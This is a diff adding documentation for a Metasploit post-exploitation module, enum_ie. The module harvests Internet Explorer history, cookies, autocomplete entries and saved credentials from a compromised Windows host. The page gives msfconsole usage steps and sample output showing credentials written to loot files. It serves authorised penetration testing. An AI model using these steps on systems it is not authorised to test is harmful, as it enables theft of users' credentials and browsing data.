|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | + This post-exploitation module will extract saved user data from Internet Explorer. For IE versions of 7 and newer the module will try to extract and decrypt saved credentials as well. |
| 4 | + |
| 5 | +## Verification Steps |
| 6 | + |
| 7 | + 1. Start `msfconsole` |
| 8 | + 2. Get meterpreter session |
| 9 | + 3. Do: `use post/windows/gather/enum_ie` |
| 10 | + 4. Do: `set SESSION <session id>` |
| 11 | + 5. Do: `run` |
| 12 | + 6. You should be able to see the extracted IE browser data in the loot files |
| 13 | + |
| 14 | +## Options |
| 15 | + |
| 16 | + - **SESSION** - The session to run the module on. |
| 17 | + |
| 18 | +## Extracted data |
| 19 | + |
| 20 | + - History |
| 21 | + - Cookies |
| 22 | + - Autocomplete data |
| 23 | + - Credentials **(only for >= IE7)** |
| 24 | + - HTTP auth credentials |
| 25 | + - Saved form credentials |
| 26 | + |
| 27 | +## Example Scenario |
| 28 | + |
| 29 | + **Using the module with an earlier version than IE7 (IE6)** |
| 30 | + |
| 31 | + In this scenario the module won't be able to extract credential data. |
| 32 | + |
| 33 | + ``` |
| 34 | + msf exploit(handler) > use post/windows/gather/enum_ie |
| 35 | + msf post(enum_ie) > set SESSION 1 |
| 36 | + SESSION => 1 |
| 37 | + msf post(enum_ie) > run |
| 38 | +
|
| 39 | + [*] IE Version: 6.0.2900.5512 |
| 40 | + [-] This module will only extract credentials for >= IE7 |
| 41 | + [*] Retrieving history..... |
| 42 | + File: C:\Documents and Settings\user\Local Settings\History\History.IE5\index.dat |
| 43 | + [*] Retrieving cookies..... |
| 44 | + File: C:\Documents and Settings\user\Cookies\index.dat |
| 45 | + [*] Looping through history to find autocomplete data.... |
| 46 | + [-] No autocomplete entries found in registry |
| 47 | + [*] Looking in the Credential Store for HTTP Authentication Creds... |
| 48 | + [*] Writing history to loot... |
| 49 | + [*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.history_747359.txt |
| 50 | + [*] Writing cookies to loot... |
| 51 | + [*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.cookies_795069.txt |
| 52 | + [*] Post module execution completed |
| 53 | + ``` |
| 54 | + |
| 55 | + **Using the module with IE7+ (IE8)** |
| 56 | + |
| 57 | + In this scenario the module will try to extract credential data, display it in the console and save it in a loot file. |
| 58 | + |
| 59 | + ``` |
| 60 | + msf exploit(handler) > use post/windows/gather/enum_ie |
| 61 | + msf post(enum_ie) > set SESSION 1 |
| 62 | + SESSION => 1 |
| 63 | + msf post(enum_ie) > run |
| 64 | +
|
| 65 | + [*] IE Version: 8.0.7601.17514 |
| 66 | + [*] Retrieving history..... |
| 67 | + File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat |
| 68 | + File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat |
| 69 | + [*] Retrieving cookies..... |
| 70 | + File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\index.dat |
| 71 | + File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\Low\index.dat |
| 72 | + [*] Looping through history to find autocomplete data.... |
| 73 | + [*] Looking in the Credential Store for HTTP Authentication Creds... |
| 74 | + [*] Writing history to loot... |
| 75 | + [*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.history_555694.txt |
| 76 | + [*] Writing cookies to loot... |
| 77 | + [*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.cookies_216987.txt |
| 78 | + [*] Writing gathered credentials to loot... |
| 79 | + [*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.user.creds_355504.txt |
| 80 | +
|
| 81 | + Credential data |
| 82 | + =============== |
| 83 | +
|
| 84 | + Type Url User Pass |
| 85 | + ---- --- ---- ---- |
| 86 | + Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd |
| 87 | + Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd |
| 88 | +
|
| 89 | + [*] Post module execution completed |
| 90 | + ``` |
| 91 | + |
| 92 | + The extracted history data would in both scenarios for example look like this: |
| 93 | + |
| 94 | + ``` |
| 95 | + History data |
| 96 | + ============ |
| 97 | +
|
| 98 | + Date Modified Date Accessed Url |
| 99 | + ------------- ------------- --- |
| 100 | + 2011-11-20T23:59:02+00:00 2011-11-20T23:59:02+00:00 about:Home |
| 101 | + 2016-10-31T14:42:05+00:00 2016-10-31T14:42:05+00:00 http://go.microsoft.com/fwlink/?LinkId=54729&clcid=0x0407 |
| 102 | + 2016-10-31T14:42:06+00:00 2016-10-31T14:42:06+00:00 http://de.msn.com/?ocid=iefvrt |
| 103 | + 2016-10-31T14:42:08+00:00 2016-10-31T14:42:08+00:00 http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome |
| 104 | + 2016-10-31T14:42:23+00:00 2016-10-31T14:42:23+00:00 http://www.msn.com/de-de?ocid=iefvrt |
| 105 | + 2016-10-31T14:47:42+00:00 2016-10-31T14:47:42+00:00 file:///E:/text.txt |
| 106 | + ``` |
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